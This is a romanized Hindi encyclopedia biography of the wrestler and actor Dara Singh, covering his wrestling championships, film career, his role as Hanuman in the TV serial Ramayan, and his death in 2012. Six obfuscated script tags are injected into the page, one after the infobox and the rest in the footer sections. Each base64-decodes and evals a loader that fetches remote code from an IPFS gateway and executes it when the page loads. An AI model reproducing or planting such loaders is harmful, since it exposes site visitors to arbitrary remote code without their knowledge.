दारा सिंह
dara sianh
| |
| poora nam | dara sianh randhava |
| prasiddh nam | dara sianh |
| any nam | rustam-e-hiand |
| janm | 19 navanbar 1928 |
| janm bhoomi | dharamoochak (dharmoochakk) gaanv, amritasar panjab |
| mrityu | 12 julaee, 2012 (umr- 84) |
| mrityu sthan | mumbee, maharashtr |
| abhibhavak | soorat sianh randhava aur balavant kaur |
| pati/patni | surajit kaur |
| santan | tin betiyaan aur tin bete |
| karm-kshetr | pahalavan, abhineta |
| mukhy filmean | 'vatan se door', 'rustam-e-bagadad', 'sher dil', 'sikandar-e-azam', 'raka', 'mera nam jokar', 'dharam karam' aur 'mard' adi. |
| puraskar-upadhi | 1966 mean 'rustam-e-panjab' aur 1978 mean 'rustam-e-hiand'. |
| prasiddhi | dara sianh ne ramanand sagar dvara nirmit dharavahik 'ramayan' mean hanuman ki bhoomika nibhakar hindustan ke ghar-ghar mean prasiddhi paee thi. |
| nagarikata | bharatiy |
| any janakari | dara sianh 2003 se 2009 tak rajyasabha ke saansad rahe. unhoanne qarib 36 sal tak akha de mean pasina bahaya aur lagabhag kul l di geean 500 kushtiyoan mean se ek bhi nahian hare, jisaki badaulat unaka nam aaubjaravar nyoojaletar h aaul aauph phem mean darj hua. |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
dara sianh (aangrezi: Dara Singh, janm: 19 navambar, 1928, amritasar; mrityu: 12 julaee, 2012, mumbee) apane zamane ke vishv prasiddh phristail pahalavan aur prasiddh abhineta the. dara sianh 2003-2009 tak rajyasabha ke sadasy bhi rahe. unhoanne khel aur manoranjan ki duniya mean saman roop se nam kamaya aur apane kam ka loha manavaya. yahi vajah thi ki unhean abhineta aur pahalavan donoan taur par jana jata tha. unhoanne 1959 mean poorv vishv chaimpiyan j aaurj gardiyaanka ko parajit karake k aaumanavelth ki vishv chaimpiyanaship jiti thi. bad mean ve amarika ke vishv chaimpiyan laoo thej ko parajit kar phristail kushti ke vishv chaimpiyan bane.
arambhik jivan
akha de se filmi duniya tak ka safar dara sianh ke lie kafi chunauti bhara raha. bachapan se hi pahalavani ke divane rahe dara sianh ka poora nam 'dara sianh randhava' tha. halaanki chahane valoan ke bich ve dara sianh ke nam se hi jane ge. 'soorat sianh randhava' aur 'balavant kaur' ke bete dara sianh ka janm 19 navanbar, 1928 ko panjab ke amritasar ke dharamoochak (dharmoochakk ya dharmoochak ya dharmachuk) gaanv ke jat-sikkh parivar mean hua tha. us samay desh mean aangrezoan ka shasan tha. dara sianh ke pita ji bahar rahate the. dada ji chahate ki b da hone ke karan dara skool n jakar khetoan mean kam kare aur chhota bhaee padhaee kare. isi bat ko lekar lanbe samay tak jhag da chalata raha.
pahalavani ka shauk
dara sianh ko bachapan se hi pahalavani ka shauq tha. apani kishor avastha mean dara sianh doodh v makkhan ke sath 100 badam roj khakar kee ghante kasarat v vyayam mean gujara karate the. kam umr mean hi dara sianh ke gharavaloan ne unaki shadi kar di. natijatan mahaj 17 sal ki nabalig umr mean hi ek bachche ke pita ban ge, lekin jab unhoanne kushti ki duniya mean nam kamaya to unhoanne apani pasand se doosari shadi surajit kaur se ki. dara sianh ke parivar mean tin putriyaan aur tin putr haian.
kushti mean kairiyar
dara sianh apane zamane ke vishv prasiddh phristail pahalavan rahe. sath ke dashak mean poore bharat mean unaki phri stail kushtiyoan ka bolabala raha. dara sianh ko pahalavani ka shauq bachapan se hi tha. bachapan apane pharm par kam karate-karate gujar gaya, jisake bad ooanche qad majaboot kathi ko dekhate hue unhean kushti l dane ki prerana milati rahi. dara sianh ne apane ghar se hi kushti ki shurooat ki. dara sianh aur unake chhote bhaee saradara sianh ne milakar pahalavani shuroo kar di aur dhire-dhire gaanv ke dangaloan se lekar shaharoan mean kushtiyaan jitakar apane gaanv ka nam roshan karana shuroo kar diya aur bharat mean apani alag pahachan banane ki koshish mean jut ge. dara sianh ne akha de mean pahalavani sikhi. us daur mean dara sianh ko raja maharajaoan ki or kushti l dane ka nyauta mila karata tha. hatoan aur meloan mean bhi kushti ki aur kee pahalavanoan ko patakhani di.
rashtriy chaianpiyan
thumb|left|200px|dara sianh bharat ki azadi ke dauran 1947 mean dara sianh siangapur pahuanche. vahaan rahate hue unhoanne 'bharatiy stail' ki kushti mean maleshiyaee chaianpiyan trilok sianh ko parajit kar kualalanpur mean maleshiyaee kushti chaimpiyanaship jiti. usake bad unaka vijayi rath any deshoan ki or chal p da aur ek peshevar pahalavan ke roop mean sabhi deshoan mean apani kamayabi ka jhanda ga dakar ve 1952 mean bharat laut ae. qarib paanch sal tak phri stail resaliang mean duniya bhar (poorvi eshiyaee deshoan) ke pahalavanoan ko chitt karane ke bad dara sianh bharat akar san 1954 mean bharatiy kushti chaianpiyan (rashtriy chaianpiyan) bane. dara sianh ne un sabhi deshoan ka ek-ek karake daura kiya jahaan phristail kushtiyaan l di jati thian.
vishv chaianpiyan
thumb|300px|dara sianh apane parivar ke sath isake bad unhoanne k aaumanavelth deshoan ka daura kiya aur vishv chaianpiyan kiang k aaung ko bhi dhool chata di. dara sianh ki lokapriyata se bhannae kanada ke vishv chaianpiyan jarj gardiyaanka aur nyoojilaiand ke j aaun disilva ne 1959 mean kolakata mean k aaumanavelth kushti chaianpiyanaship mean unhean khuli chunauti de dali. natija vahi raha. yahaan bhi dara sianh ne donoan pahalavanoan ko harakar vishv chaianpiyanaship ka khitab hasil kiya. k aaumanavelth chaipiyanaship ke bad dara sianh ka mishan tha poori duniya ko apana dam-kham dikhana. bharat ke is pahalavan ne duniya ke lagabhag har desh ke pahalavan ko chit kiya. akhirakar amerika ke vishv chaianpiyan laoo thej ko 29 mee 1968 ko parajit kar phristail kushti ke vishv chaianpiyan ban ge. kushti ka shahanshah banane ke is saphar mean dara sianh ne pakistan ke mazid akara, shane ali aur tarik ali, japan ke rikodojain, yooropiyan chaianpiyan bil r aaubinasan, ianglaiand ke chaipiyan paitr aauk samet kee pahalavanoan ka guroor mitti mean mila diya. 1983 mean kushti se ritayarameant lene vale dara sianh ne 500 se zyada pahalavanoan ko haraya aur khas bat ye ki zyadatar pahalavanoan ko dara sianh ne unhian ke ghar mean jakar chit kiya. unaki kushti kala ko salam karane ke lie 1966 mean dara sianh ko rustam-e-panjab aur 1978 mean rustam-e-hiand ke khitab se navaza gaya.
dara sianh ne qarib 36 sal tak akha de mean pasina bahaya aur ab tak l di kul 500 kushtiyoan mean se dara sianh ek bhi nahian hare, jisaki badaulat unaka nam aaubjaravar nyoojaletar h aaul aauph phem mean darj hai. dara sianh ki kushti ke divanoan mean bharat ke pahale pradhanamantri javahar lal neharoo samet kee doosare pradhanamantri bhi shamil the. sahi mayane mean dara sianh kushti ke dangal ke vo sher the, jinaki daha d sunakar b de-b de pahalavanoan ne dum dabakar akha da chho d diya.
filmi kariyar
thumb|300px|dara sianh vibhinn bhoomikaoan mean lagabhag 60 sal tak dara sianh ne hiandustan ke dil par raj kiya hai. aj ki pidhi ko shayad aandaza bhi na ho ki akha de se adakari ke maidan mean utare dara sianh b aaulivud ke pahale hi main mane jate haian. vo tarajan siriz ki filmoan ke hiro rahe haian. dara sianh apani majaboot qad kathi ki vajah se filmoan mean ae. film abhinetri mumataz ka kairiyar sanvarane mean bhi sabase b da sahara dara sianh ka sath hi sabit hua. b aaulivud mean b aaudi dikhakar staradam pane ka rasta na khulata, agar dara sianh na hote. ji haan, b aaulivud mean aj har suparastar par shart kholakar masals dikhane ki jo dhun savar hai, usaka chalan shuroo hua tha dara sianh ke jarie. jis vaqt poori duniya mean dara sianh ki pahalavani ka sikka chal raha tha, tab 6 phit 2 ianch lanbe is gabaroo jatt par b aaulivud is kadar fida hua ki pahalavan dara sianh ban ge abhineta dara sianh. dara sianh ne apane samay ki mashahoor adakara mumataz ke sath hiandi ki stant filmoan mean pravesh kiya aur kee filmoan mean abhineta bane. dara sianh ne mumataz ke sath 16 filmoan mean kam kiya. yahi nahian kee filmoan mean vah nirdeshak v nirmata bhi bane. dara sianh ne kee hiandi filmoan ka nirman kiya aur usamean khud hiro rahe.
pahali film
dara sianh ki pahali film 'sangadil' 1952 mean riliz huee, jisamean dilip kumar aur madhubala mukhy bhoomikaoan mean the. 1955 mean vo film 'pahali jhalak' mean pahalavan banakar ae, jisamean mukhy kiradar kishor kumar aur vaijayanti mala ne nibhaya tha. kushti aur filmoan mean ek sath maujoodagi darz karate rahe dara sianh ki bataur hiro pahali film thi 'jagga dakoo', jisake bad vo b aaulivud ke pahale ekshan hiro ke taur par chha ge.
mukhy filmean
dara sianh ki asal pahachan bani 1962 mean aee film ‘kiang k aaung’ se. is film ne unhean shoharat ke asaman par pahuancha diya. ye film kushti par hi adharit thi. kiang kaang ke bad 'rustam-e-rom', 'rustam-e-bagadad', 'rustam-e-hiand' adi filmean kian. sabhi filmean saphal rahian. mashahoor film anand mean bhi unaki chhoti-si kiantu yadagar bhoomika thi. unhoanne kee filmoan mean alag-alag kiradar nibhae haian. varsh 2002 mean 'shararat', 2001 mean 'pharj', 2000 mean 'dulhan ham le jaeange', 'kal ho na ho', 1999 mean 'zulmi', 1999 mean 'dillagi' aur is tarah se any kee filmean.
mumataz se jugalabandi
apane 60 sal lanbe filmi kairiyar mean dara sianh ne 100 se jyada filmoan mean kam kiya, jinamean sabase jyada 16 filmean abhinetri mumataz ke sath ki. mumataz ke sath dara sianh ki jo di bani 1963 mean film 'phaulad' se. shokh-chulabuli mumataz aur hi main dara sianh ki jo di ka jadoo qarib paanch sal tak silvar skrin par chhaya raha. dara sianh aur mumataz ne 'vir bhimasen', 'harakyoolis', 'aandhi aur toophan', 'raka', 'rustam-e-hiand', 'saimasan', 'sikandar-e-azam', 'tarazan kams tu delhi', 'tarazan eand kiangakaang', 'b aauksar', 'javaan mard' aur 'dakoo mangal sianh' samet qarib dedh darzan filmoan mean sath kam kiya.
film nirmata-nirdeshak
thumb|300px|yuvavastha mean dara sianh kushti ke bad dara sianh ko sabase zyada pyar filmoan se hi raha. unhoanne mohali ke pas 'dara stoodiyo' banaya aur dhe़r sari filmean bhi. unhoanne pahali film banaee apani matribhasha panjabi mean 'nanak dukhiya sab sansar'. bhakti bhavana vali yah film jabardast hit rahi. isake bad 'dhyani bhagat', 'sava lakh se ek ladaooan' v 'bhagat dhanna jatt' adi filmoan ka nirman bhi unhoanne kiya. dara sianh ne hiandi aur panjabi mean 8 filmean nirmit kian, 8 filmoan ka nirdeshan kiya aur 7 filmoan ki kahani bhi khud hi likhi. sau se zyada filmoan mean adakari kar chuke dara sianh ki akhiri yadagar film thi 2007 mean imtiyaj ali ki film 'jab vi met', jisamean unhoanne karina kapoor ke dadaji ka kiradar nibhaya. vo akhiri dam tak filmoan mean ju da rahana chahate the, lekin badhati umr aur big dati sehat sath nahian de rahi thi, lihaza dara sianh ne 2011 mean lait-kaimara aur ekshan ko alavida kah diya.
dharavahik ramayan mean hanuman
koee ek kiradar kaise kisi ki mukammal pahachan badal deta hai, isaki misal haian dara sianh. siriyal ramayan mean hanuman ke kiradar ne unhean ghar-ghar mean aisi pahachan di ki ab kisi ko yad bhi nahian ki dara sianh apane zamane ke 'varld chaianpiyan pahalavan' the. ye vo kiradar hai, jisane pahalavan se abhineta bane dara sianh ki poori pahachan badal di. 1986 mean ramanand sagar ke siriyal ramayan mean dara sianh hanuman ke rol mean aise rach-bas ge ki isake bad kabhi kisi ne kisi doosare kalakar ko hanuman banane ke bare mean socha hi nahian. ramayan siriyal ke bad ae doosare pauranik dharavahik mahabharat mean bhi hanuman ke roop mean dara sianh hi nazar ae. 1989 mean jab 'lav kush' ki pauranik katha chhote parade par utari gee, to usamean bhi hanuman ka rol dara sianh ne hi kiya. 1997 mean aee film 'lav kush' mean bhi hanuman bane dara sianh. [[chitr:sanjay-rajiv-indra-amitabh-dara-singh.jpg|thumb|300px|sanjay gaandhi, rajiv gaandhi, indira gaandhi aur amitabh bachchan ke sath dara sianh]]
vibhinn dharmik charitr
1964 mean film 'vir bhimasen' mean dara sianh ne bhim ka rol nibhaya. agale sal aee film 'mahabharat' mean bhi dara sianh hi bhim bane. 1968 mean film 'balaram shrikrishna' mean dara sianh krishna ke b de bhaee balaram ki bhoomika mean nazar ae. 1971 mean film 'tulasi vivah' mean dara sianh pahali bar bhagavan shiv ke rol mean samane ae. bhagavan shiv ki bhoomika unhoanne 'hari darshan' aur 'har-har mahadev' mean bhi nibhaee. dara sianh ko pahali bar hanuman banaya nirmata-nirdeshak chandrakaant ne. 1976 mean riliz huee film 'bajarang bali' mean dara sianh hanuman ki bhoomika mean the. is film mean tab tak ch aaukaleti hiro vishvajit ram ke rol mean the, jabaki lakshman ki bhoomika shashi kapoor ne nibhaee aur ravan bane the premanath. 'bajarang bali' riliz hone ke barah sal sal bad jab ramayan siriyal shuroo hua, to ramanand sagar ke jehan mean hanuman ke rol ko lekar koee duvidha nahian thi. vo poori tarah is bat se sahamat the ki hanuman ki bhoomika ke lie dara sianh se behatar koee ho hi nahian sakata.
samman aur upadhi
- 1966 mean dara sianh ko rustam-e-panjab ka khitab se navaja gaya.
- 1978 mean dara sianh ko rustam-e-hiand ke khitab se navaja gaya.
nidhan
dara sianh ka 84 sal ki umr mean dil ka daura p dane se 12 julaee 2012 ko nidhan hua. is prakar ek saphal pahalavan, ek saphal abhineta, nirdeshak aur nirmata ke taur par dara sianh ne apane jivan mean bahut kuchh paya aur sath hi desh ka gaurav badhaya.
samachar
- 12 julaee, 2012 guruvar
vishv prasiddh pahalavan aur abhineta dara sianh ka nidhan
kushti ke kshetr aur abhinay jagath mean apani pratibha ka loha manavane vale dara sianh ka 12 julaee, 2012 ko nidhan ho gaya hai. 84 sal ke dara sianh ne guruvar subah 7.30 baje aantim saans li. unake putr biandoo dara sianh ne yah dukhad khabar di. dil ka daura p dane se unaka nidhan hua. dara sianh ko dil ka daura p dane ke bad 7 julaee ko kokilaben aspatal mean bharti karaya gaya tha. bataya gaya ki dil ka daura p dane par dimag mean aauksijan ki saplaee band hone se unaki tabiyat big di. is tarah ki sthiti mean sudhar ki ummid bahut kam rahati hai. unaki halat itani nazuk ho gee ki unhean veantiletar par rakha gaya. bad mean unaki kidani ne bhi kam karana band kar diya.
samachar ko vibhinn srotoan par padhean
|
|
|
|
|
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
tika tippani aur sandarbh
bahari k diyaan
- dara sianh : rustam-e-hiand
- b aaulivud ke asali ‘phaulad’ the dara sianh
- shakti aur bhakti ke p aaupular paryay rahe dara sianh
- balavan hone ke paryay the dara sianh
- smriti shesh: kriketaroan se b de hiro the dara sianh
sanbandhit lekh
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
varnamala kramanusar lekh khoj
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>